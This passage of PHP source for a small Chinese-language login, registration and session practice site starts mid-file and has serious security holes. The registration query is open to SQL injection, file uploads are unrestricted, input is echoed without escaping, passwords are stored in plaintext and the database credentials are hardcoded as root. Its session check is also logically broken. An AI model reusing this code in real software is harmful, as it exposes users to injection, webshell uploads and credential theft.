header('Location:youxi.php');
session_start();
$_SESSION['login']='true';
}else{
$login = "登录失败";
$_SESSION['login']='false';
}
?>
<html>
<head>
<meta charset=utf–8>
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
<a href="zhuce.php">点击注册</a></br>
<?phpecho $login;?>
</html>
-
完整注销页面zhuxiao.php
<?php
session_start();
$_SESSION["login"]='false';
session_destroy();
header('Location:login.php');
?>
-
完整数据库连接页面conn.php
<head>
<meta charset=utf–8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
//创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
//检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功</br>";
}
}
?>
-
完整注册页面zhuce.php
<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name = $_POST['name'];
$password1 = $_POST['password1'];
$password2 = $_POST['password2'];
$shouji = $_POST['shouji'];
$tupian = $_FILES['tupian'];
$tupianname = $_FILES['tupian']['name'];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)) {
$ERR = "账号密码、手机号码不能为空";
}
// 密码长度8位,密码两次输入一致
elseif (strlen($password1) < 8) {
$ERR = "密码长度不足八位";
}
elseif ($password1 != $password2) {
$ERR = "两次输入密码不一致";
}
elseif (strlen($shouji) != "11") {
$ERR = "手机号码格式有问题";
}
else {
if (file_exists("tupian/" . $_FILES["tupian"]["name"])) {
echo $_FILES["tupian"]["name"] . "文件已经存在。";
}
else {
// 如果upload目录不存在该文件则将文件上传到upload目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" .
$_FILES["tupian"]["name"]);
}
$sqlinsert = "insert into kkk_tbl(user,pass,phone,file)
value('$name','$password1','$shouji','$tupianname');";
var_dump($conn2);
if (mysqli_query($conn2, $sqlinsert)) {
$ERR = "注册成功</br>";
}
else {
$ERR = "注册失败</br>";
}
}
}
?>
<form action="" method="post" enctype="multipart/form-data">
名字:
<input type="text" name="name"><br>
密码:
<input type="password" name="password1"><br>
重新输入密码:
<input type="password" name="password2"><br>
请输入手机号码:
<input type="passwrd" name="shouji"><br>
上传头像:
<input type="file" name="tupian"><br>
<input type="submit" value="提交">
</form>
<?php
echo $ERR;
echo "你注册的用户为:" . $name . "</br>";
echo "你注册的手机号码:" . $shouji . "</br>";
?>
<img src="<?php echo "tupian/" . $_FILES["tupian"]["name"]; ?>">
-
完整管理session页面session.php
<?php
session_start();
if (isset($_SESSION["login"]) && $_SESSION["login"] === true) {
echo "您已经成功登陆 ";
echo '<a href="zhuxiao.php">点击注销</a>';
} else {
$_SESSION["login"] == false; // 注意:這行實際上沒有效果,因為是比較運算子
die('您无权访问, <a href="login.php">点击跳转登录页面</a>');
}
?>
-
完整假装后台页面youxi.php
<?php
include('session.php');
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>游戏页面</title>
</head>
<body>
<h1>游戏页面</h1>
<p>
<a href="select.php">点击查看账号以及ID的对应关系</a><br>
<a href="jsq.php">数字炸弹</a>
</p>
</body>
</html>


